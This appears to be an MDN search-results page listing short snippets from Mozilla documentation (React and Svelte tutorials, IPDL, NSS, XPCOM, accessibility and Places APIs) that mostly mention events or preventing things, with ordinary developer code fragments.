previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Accessibility in React - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Getting started with React - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
React resources - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Starting our Svelte Todo list app - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Deployment and next steps - Learn web development
previous overview: client-side javascript frameworks in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Creating our first Vue component - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Vue resources - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Command line crash course - Learn web development
however, you won’t find a code editor extension for everything you want to do — you’ll have to get some experience with the terminal eventually.
...if you enter it in a new browser tab, you’ll (eventually) get redirected to /docs/web/api/windoworworkerglobalscope/fetch.
Embedding API for Accessibility
file); setcharpref("alert.audio.refresh_waiting", pathtosoundfile); setcharpref("alert.audio.plugin_content_waiting", pathtosoundfile); setcharpref("alert.audio.video_waiting", pathtosoundfile); setcharpref("alert.audio.audio_waiting", pathtosoundfile); setcharpref("alert.audio.timed_event_waiting", pathtosoundfile); /* these alerts will also be mirrored visually, either on the status bar or elsewhere */ no background images setboolpref("browser.accept.background_images", acceptbackgroundimages); no blinking text setboo...
... setboolpref("browser.accept.plugin_content.[plugin_name_goes_here]", acceptplugincontent); no video setboolpref("browser.accept.video", acceptvideo); no audio setboolpref("browser.accept.audio", acceptaudio); no timed events setboolpref("browser.accept.timed_events", accepttimedevents); no timer speed setintpref("timer.relative_speed", percent); /* 100 corresponds to normal speed, 200 to double speed */ no allow cycling in lists and links setbo...
Accessibility and Mozilla
websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.embedding api for accessibilityevent process procedurethis diagram outlines how events are processed within gecko.
...please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community.
Browser chrome tests
the eventutils helper functions are available on the eventutils object defined in the global scope.
...in a timeout, event handler, etc) will not be caught, but will result in a timed out test if they prevent finish() from being called.
What to do and what not to do in Bugzilla
this isn't mandatory, but can help prevent accidental filing of duplicates of a bug that's already been fixed.
...basically, anything that prevents builds from building, running, or being used for dogfood (able to use bugzilla, tinderbox, lxr, etc.) is a blocker.
Command line options
user profile -allow-downgrade firefox 67's downgrade protection prevents accidentally starting firefox in a profile running a later version of firefox.
...useful with those command-line arguments that open their own windows but don't already prevent default windows from opening.
Continuous Integration
when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits).
...eventually, the system will likely be expanded with support for android.
Debugging on Mac OS X
# breakpoint set --name nsthread::processnextevent --thread-index 1 --auto-continue true --one-shot true breakpoint command add -s python # this script that we run does not work if we try to use the global 'lldb' # object, since it is out of date at the time that the script runs (for # example, `lldb.target.executable.fullpath` is empty).
...:-( dummy_bp_list = lldb.sbbreakpointlist(target) debugger.getdummytarget().findbreakpointsbyname("nsthread::processnextevent", dummy_bp_list) dummy_bp_id = dummy_bp_list.getbreakpointatindex(0).getid() + 1 debugger.getdummytarget().breakpointdelete(dummy_bp_id) # "source" the mozilla project .lldbinit: os.chdir(target.executable.fullpath.split("/dist/")[0]) debugger.handlecommand("command source -s true " + os.path.join(os.getcwd(), ".lldbinit")) done see debugging mozilla with lldb for more info...
The Firefox codebase: CSS Guidelines
if this isn't possible, you can also try introducing a :not() to prevent the other rule from applying, this is especially relevant for different element states (:hover, :active, [checked] or [disabled]).
... using inheriting or using currentcolor will prevent repetition of the value and it is usually good practice to do so.
Process scripts
similarly, some observer notifications must be registered in the content process, but if you do this in a frame script, and the frame script is loaded more than once, then you will get multiple notifications for that event.
...however, you don't get access to web content or dom events from a process script.
Tracking Protection
for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: ...
...<a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
HTMLIFrameElement.clearMatch()
invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... searchtoggle.addeventlistener('touchend',function() { if(search.getattribute('class') === 'search') { search.setattribute('class', 'search shifted'); } else if(search.getattribute('class') === 'search shifted') { search.setattribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; prev.disabled = true; next.disabled = true; searchbar.value...
HTMLIFrameElement.findAll()
invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... searchform.addeventlistener('submit', function(e) { e.preventdefault(); browser.findall(searchbar.value, 'case-sensitive'); searchactive = true; prev.disabled = false; next.disabled = false; searchbar.blur(); }); specification not part of any specification.
HTMLIFrameElement.findNext()
invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... prev.addeventlistener('touchend',function() { browser.findnext('backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification.
HTMLIFrameElement.goBack()
by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
... examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification.
HTMLIFrameElement.goForward()
by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
... examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification.
Script security
objects in a privileged scope are allowed complete access to objects in a less privileged scope, but by default they see a restricted view of such objects, designed to prevent them from being tricked by the untrusted code.
... xrays are designed to prevent untrusted code from confusing trusted code by redefining objects in unexpected ways.
Getting Started with Chat
general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our community participation guidelines is a requirement for participation.
... nickserv this bot allows you to register your nickname which prevents other users from using it.
HTTP Cache
open_priority: except opening priority cache files also file dooming happens here to prevent races read_priority: top level documents and head blocking script cache files are open and read as the first open read: any normal priority content, such as images are open and read here write: writes are processed as last, we cache data in memory in the mean time management: level for the memory pool and cacheentry background operations close: file closing level index: index is being rebu...
...check_after_write_finished: opener is left in the fifo with a flag recheckafterwrite such openers are skipped until the output stream on the entry is closed, then oncacheentrycheck is re-invoked on them note: here is a potential for endless looping when recheck_after_write_finished is abused result == entry_needs_revalidation: state = revalidating, this prevents invocation of any callback until cacheentry::setvalid is called continue as in state entry_wanted (just bellow) result == entry_wanted: consumer reference ++ (dropped back when the consumer releases the entry) oncacheentryavailable is invoked on the opener with anew = false and the entry opener is removed from the fifo result == entry_not_wanted: ...
How to investigate Disconnect failures
check the event viewer to check if an os event interfered with the test run.
... the event viewer can be found on windows: computer management > event viewer > windows logs > application and here we look for errors that overlapped with the test run; we cannot see the freezes (the main thread is blocked).
Extending a Protocol
we need to add the following things: at the top of the file: include protocol pecho; after "manager pbrowser or pinprocess;", add: manages pecho; finally, under parent: add async pecho(); - this is the "constructor" part we talked about before, which will allow us to eventually send messages.
... // we convert the string to utf8 echochild->sendecho(ns_convertutf16toutf8(astring)) ->then( getmainthreadserialeventtarget(), __func__, // resolve lambda [echopromise](const nscstring& returnedstring) { puts("[navigator.cpp] yay, we got a message back!"); // send the string back out a utf16 echopromise->mayberesolve(ns_convertutf8toutf16(returnedstring)); }, // reject lambda [echopromise](mozilla::ipc::responserejectreason&& a...
IPDL Tutorial
using mozilla::plugins::npremoteevent; sync protocol pplugininstance { child: async handleevent(npremoteevent); }; unions ipdl has built-in support for declaring discriminated unions.
...a protocol hierarchy begins with a single top-level protocol from which all subprotocol actors are eventually created.
Introduction to Layout in Mozilla
the flow” incremental reflow multiple reflow commands are batched nsreflowpath maintains a tree of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless immediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to widget; widget delegates to the view manager view manager paints views back-to-front, invoking presshell’s paint method presshell::paint walks from the view to the frame; invokes nsiframe::paint for each layer incrementalism single-threaded simple (no locking) can’t leave event queue unattended content construction unwinds �...
...invalid content) - harishd events - saari, joki block-and-line reflow - waterson, dbaron table reflow - karnaze form controls - rods, bryner style resolution and rule tree - dbaron views, widgets, and painting - roc, kmcclusk editor - kin, jfrancis xul and box layout - hewitt, ben xbl - hewitt, ben conclusion data flow key data structures detailed walk-through incrementalism q & a?
Assert.jsm
undefined throws( block, expected, message ); parameters block function block to evaluate and catch eventual thrown errors expected test reference to evaluate against the thrown result from block message short explanation of the expected result rejects() expected to reject a promise.
... promise rejects( promise, expected, message ); parameters promise promise promise to wait for rejection and catch eventual thrown errors expected test reference to evaluate against the thrown result from block message short explanation of the expected result greater() the greater than assertion tests two numbers with the > operator.
Promise.jsm
rejected, if an error prevented the final value from being determined.
...it will eventually assume the same state as the provided promise.
PromiseWorker.jsm
self.addeventlistener('message', msg => worker.handlemessage(msg)); abstractworker is a base class for the worker, and it's designed to be used by derived class, which provides above four methods (dispatch, postmessage, close, and log).
...equire('resource://gre/modules/workers/promiseworker.js'); let worker = new promiseworker.abstractworker(); worker.dispatch = function(method, args = []) { return self[method](...args); }; worker.postmessage = function(...args) { self.postmessage(...args); }; worker.close = function() { self.close(); }; worker.log = function(...args) { dump('worker: ' + args.join(' ') + '\n'); }; self.addeventlistener('message', msg => worker.handlemessage(msg)); // start - my functionalities function resolvetest(shouldresolve) { if (shouldresolve) { return 'you sent to promiseworker argument of: `' + shouldresolve + '`'; } else { throw new error('you passed in a non-true value for shouldresolve argument and therefore this will reject the main thread promise'); } } main thread file b...
Webapps.jsm
writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, anewapp, aislocalfileinstall,) _openpackage: function(azipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, azipfile, acertdb) _readpacka...
...tion(alocalid) getapplocalidbymanifesturl: function(amanifesturl) getcoreappsbasepath: function() getwebappsbasepath: function() _islaunchable: function(aapp) _notifycategoryandobservers: function(subject, topic, data, msg) registerbrowserelementparentforapp: function(amsg, amn) receiveappmessage: function(appid, message) _clearprivatedata: function(appid, browseronly, msg) _sendprogressevent: function() updatestatechanged: function appobs_update(aupdate, astate) applicationcacheavailable: function appobs_cacheavail(aapplicationcache) ...
Localizing with Mercurial
trust us, you'll want this eventually.
... mercurial account priviledges eventually, you or your team leader will need hg account priviledges.
Extras
mathml extras this is a technology demonstration of some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either.
.../mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </switch> </g> </g> </svg> </div> inline javascript html content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascript content function whoistherealert(evt) { alert("who is there?"); } function attachlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { attachlistener("num"); attachlistener("denum"); } window.addeventlistener("load", init); ...
Measuring performance using the PerfMeasurement.jsm code module
you give the constructor a bit-mask of events you're interested in; see note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems.
... for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types.
Memory reporting
it helps prevent accidentally having small differences in the function signatures (e.g.
... forgetting a const) that prevent the overriding from happening.
Preference reference
enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.clipboardevents.enableddom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
... the emitting of the oncopy, oncut and onpaste events are controlled by this preference.
NSPR's Position On Abrupt Thread Termination
in the general course of events when programming with threads, it is very advantageous for a thread to have resources that it and only it knows about.
... in the natural course of events, these resources will be allocated by a thread, used for some period of time, and then freed as the stack unwinds.
NSS Sample Code Sample1
as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
...// // the sequence of events is: // 1.
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
nss applications detect card insertion and deletion by means of polling to determine whether the card is still in the slot and whether the open session associated with that card is still valid, or by waiting on the c_waitforslotevent call.
...the motivation for this is that some hardware tokens will prevent extraction of symmetric keys by design.
PKCS #11 Module Specs
when this flag is not specified, softoken will allocate large tables to prevent lock contention.
...when this flag is not specified, softoken will allocate large tables to prevent lock contention.
NSS functions
thflagsperm mxr 3.9 and later pk11_updateslotattribute mxr 3.8 and later pk11_userenableslot mxr 3.8 and later pk11_userdisableslot mxr 3.8 and later pk11_verify mxr 3.2 and later pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl ...
...r secmod_pubcipherflagstointernal mxr 3.4 and later secmod_pubmechflagstointernal mxr 3.4 and later secmod_unloadusermodule mxr 3.4 and later secmod_updatemodule mxr 3.4 and later secmod_updateslotlist mxr 3.9.3 and later secmod_waitforanytokenevent mxr 3.9.3 and later secoid_addentry mxr 3.10 and later secoid_comparealgorithmid mxr 3.2 and later secoid_copyalgorithmid mxr 3.2 and later secoid_destroyalgorithmid mxr 3.2 and later secoid_findoid mxr 3.2 and later secoid_findoid...
NSS tools : certutil
be sure to prevent unauthorized access to this file.
...the last versions of these legacy databases are: * cert8.db for certificates * key3.db for keys * secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
certutil
be sure to prevent unauthorized access to this file.
... the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
JSVAL_LOCK
locks a js value to prevent garbage collection on it.
...jsval_lock locks a js value, v, to prevent the value from being garbage collected.
JS_SealObject
prevent modification of object fields.
... description js_sealobject prevents all write access to the object, either to add a new property, delete an existing property, or set the value or attributes of an existing property.
SpiderMonkey 38
(see bug 1063962.) js_preventextensions now indicates its success or failure in two ways: via return value (as with most jsapi methods), and via outparam (indicating whether the attempt took effect or not, independent of jsapi failure).
... this change better aligns with ecmascript's [[preventextensions]] hook, which generally returns true or false to indicate whether subsequent attempts to add a new property will fail, yet also itself may throw in some cases.
WebReplayRoadmap
seeing messages in the console provides a simple and intuitive view into the order in which events have happened.
... new features are possible with time travel, though, which would be nice to support: supporting the debugger's event breakpoints would allow searching the recording for places where particular dom events occur, and -- in the same manner as logpoints -- logging them to the console and allowing them to be seeked to later.
Redis Tips
event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.) priority queues zsets membership sets, bitstrings state hashes heartbeats zsets hit counters zsets message broadcast pubsub search reverse indexes (never use keys in production) documentation redis has fantastic doc...
... heartbeats and time-based event logs it's a common pattern to use numerical timestamps for ranking members in a zset.
Gecko object attributes
a state change event for the a11y api's busy state will be fired on the container object currently marked as busy, once it is no longer busy.
... event-from-input was the root cause of this event explicit user input?
Gecko Roles
for example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it role_sound represents a system sound, which is associated with various system events.
... role_canvas represents a control that can be drawn into and is used to trap events.
Places Developer Guide
deleting bookmark items with the bookmarks service: removeitem(aitemid) - works for all types removefolder(aitemid) - works for folders and livemarks removefolderchildren(aitemid) - works for folders and livemarks observing bookmark events the nsinavbookmarkobserver interface is used for observing bookmarks activity such as item additions, changes and deletions.
...resultcontainernode.containeropen = true; for (var i=0; i < resultcontainernode.childcount; ++i) { var childnode = resultcontainernode.getchild(i); // accessing properties of matching bookmarks var title = childnode.title; var uri = childnode.uri; } observing history the nsinavhistoryobserver interface allows observation of history events such as new visits, page title changes, page expiration and when all history is cleared.
Places utilities for JavaScript
stdataforkeyword(string akeyword); string getitemdescription(int aitemid); nsinavhistoryresultnode getmostrecentbookmarkforuri(nsiuri auri); nsinavhistoryresultnode getmostrecentfolderforfeeduri(nsiuri auri); nsinavhistoryresultnode geturlsforcontainernode(nsinavhistoryresultnode anode); void opencontainernodeintabs(nsinavhistoryresultnode anode, nsidomevent aevent); void openurinodesintabs(array nsinavhistoryresultnode anodes, nsidomevent aevent); void createmenuitemfornode(nsinavhistoryresultnode anode, acontainersmap); constants mimetypes type_x_moz_place_container type_x_moz_place_separator: "text/x-moz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_url: "text/x-moz-url", type_html: "text/html"...
... getmostrecentbookmarkforuri(auri) getmostrecentfolderforfeeduri() getmostrecentfolderforfeeduri(auri) geturlsforcontainernode() geturlsforcontainernode(anode) opencontainernodeintabs() opencontainerintabs(anode, aevent) openurinodesintabs() openurinodesintabs(anodes, aevent) createmenuitemfornode() helper for the toolbar and menu views.
extIPreferenceBranch
events readonly attribute extievents the events object for the preferences supports: "change" methods has() check to see if a preference exists.
... see bug 481044 void reset() parameters return value examples var myext = application.extensions.get('myapplicationid'); function myfunc (event) { application.console.log('change!'); }; myext.prefs.get("myprefname").events.addlistener("change", myfunc); see also fuel (firefox), steel (thunderbird) and smile (seamonkey) known issues bug 488587 - function registered as fuel preference listener not always called ...
Avoiding leaks in JavaScript XPCOM components
it's also worth noting that failing to unregister an observer that's attached to something temporary (such as a controller or event listener) can cause the garbage collector to take an extra cycle to clean up everything that was associated with a document if the temporary object itself is destroyed as a result of garbage collection.
...but the tree walker owns a reference to the wrapper for that function, so the wrapper maintains a garbage collection root to keep the function from being destroyed, so we have a cycle that prevents both objects from being freed.
Finishing the Component
this can prevent many errors like this.
...when the component is loaded, gecko calls the nsicontentpolicy implementation in weblock on every page load, and this prevents pages from displaying by returning the proper value when the load method is called.
Making cross-thread calls using runnables
typically, thread activities are triggered and managed using an xpcom event-passing framework that uses the nsirunnable interface.
...= do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty string which indicates failure callback(emptycstring()); return; } nscomptr<nsirunnable> r = new picalculatetask(callback, digits); mythread->dispatch(r, nsieventtarget::dispatch_normal); // the result callback will shut down the worker thread, we can let it go here...
Introduction to XPCOM for the DOM
a tutorial about how to add a new interface is also provided, and eventually, a more detailed discussion of class inheritance in c++.
...you could want to add a new interface for several reasons, like the addition of a new dom object, or to respect an eventual "interface freeze".
IAccessibleTable
provided for use by the ia2_event_table_model_changed event handler.
... this data is only guaranteed to be valid while the thread notifying the event continues.
IAccessibleTable2
provided for use by the ia2_event_table_model_changed event handler.
... this data is only guaranteed to be valid while the thread notifying the event continues.
imgILoader
libpr0n does not keep a strong ref to the observer; this prevents reference cycles.
...libpr0n does not keep a strong ref to the observer; this prevents reference cycles.
nsIAbstractWorker
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onerror nsidomeventlistener the error listener for the worker.
... see also using web workers nsiworkermessageport nsiworkermessageevent nsiworkerscope nsiworkerglobalscope nsiworker ...
nsIAccessibleDocument
you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method overview nsiaccessible getaccessibleinparentchain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in voidptr auniqueid); native code only!
... see also nsiaccessible nsiaccessibleevent nsiaccessnode ...
nsIAccessibleRelation
note: the label and description (see relation_described_by) relations may be used to prevent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
... note: the label (see relation_labelled_by) and description relations may be used to prevent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
nsIAccessibleRole
role_sound 5 represents a system sound, which is associated with various system events.
... role_canvas 66 represents a control that can be drawn into and is used to trap events.
nsIAsyncStreamCopier
inherits from: nsirequest last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void asynccopy(in nsirequestobserver aobserver, in nsisupports aobservercontext); void init(in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink); methods asynccopy() starts the copy operation.
...void init( in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink ); parameters asource contains the data to be copied.
nsIAsyncVerifyRedirectCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface implements the callbacks passed to the nsichanneleventsink.asynconchannelredirect() method.
... method overview void onredirectverifycallback(in nsresult result); methods onredirectverifycallback() implements the asynchronous callback passed to nsichanneleventsink.asynconchannelredirect().
nsICategoryManager
let categorymanager = cc['@mozilla.org/categorymanager;1']; categorymanager.getservice(ci.nsicategorymanager).deletecategoryentry('gecko-content-viewers', content_type, false); // update pref manager to prevent plugins from loading in future var stringtypes = ''; var types = []; var pref_disabled_plugin_types = 'plugin.disable_full_page_plugin_for_types'; if (services.prefs.prefhasuservalue(pref_disabled_plugin_types)) { stringtypes = services.prefs.getcharpref(pref_disabled_plugin_types); } if (stringtypes !== '') { types = stringtypes.split(','); } if (types.indexof(content_type) === -1) { ...
...they are often used to register lists of contractids, corresponding to components that wish to be notified of various events by some subsystem.
nsIConsoleService
you may pass null if you are lazy; this will prevent the source line showing in the error console.
...hopefully, they will all eventually be listed in nsiscripterror.idl.
nsIContentViewer
pagehide() void pagehide( in boolean isunload ); parameters isunload missing description exceptions thrown missing exception missing description permitunload() determins whether or not the document wants to prevent unloading by firing beforeunload on the document, and if it does, prompts the user.
...void setdocumentinternal( in nsidocumentptr adocument, in boolean aforcereuseinnerwindow ); parameters adocument missing description aforcereuseinnerwindow missing description setnavigationtiming() set collector for navigation timing data (load and unload events).
nsIDOMGeoPositionCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeoposition position); methods handleevent() called when new position information is available.
... void handleevent( in nsidomgeoposition position ); parameters position an nsidomgeoposition object indicating the updated location information.
nsIDOMGeoPositionErrorCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeopositionerror position); methods handleevent() called to handle a geolocation error.
... void handleevent( in nsidomgeoposition position ); parameters position the error that occurred, as an nsidomgeopositionerror object.
nsIDOMWindow
windowroot nsidomeventtarget the window root for this window.
... this is useful for connecting event listeners to this window as well as every other window nested in that window root.
nsIDOMWindow2
windowroot nsidomeventtarget the window root for this window.
... this is useful for connecting event listeners to this window as well as every other window nested in that window root.
nsIGlobalHistory3
for implementors of nsiglobalhistory3: the history implementation is responsible for sending ns_link_visited_event_topic to observers for redirect pages.
...the other params to this function are the same as those for nsichanneleventsink.onchannelredirect().
nsIMsgFolder
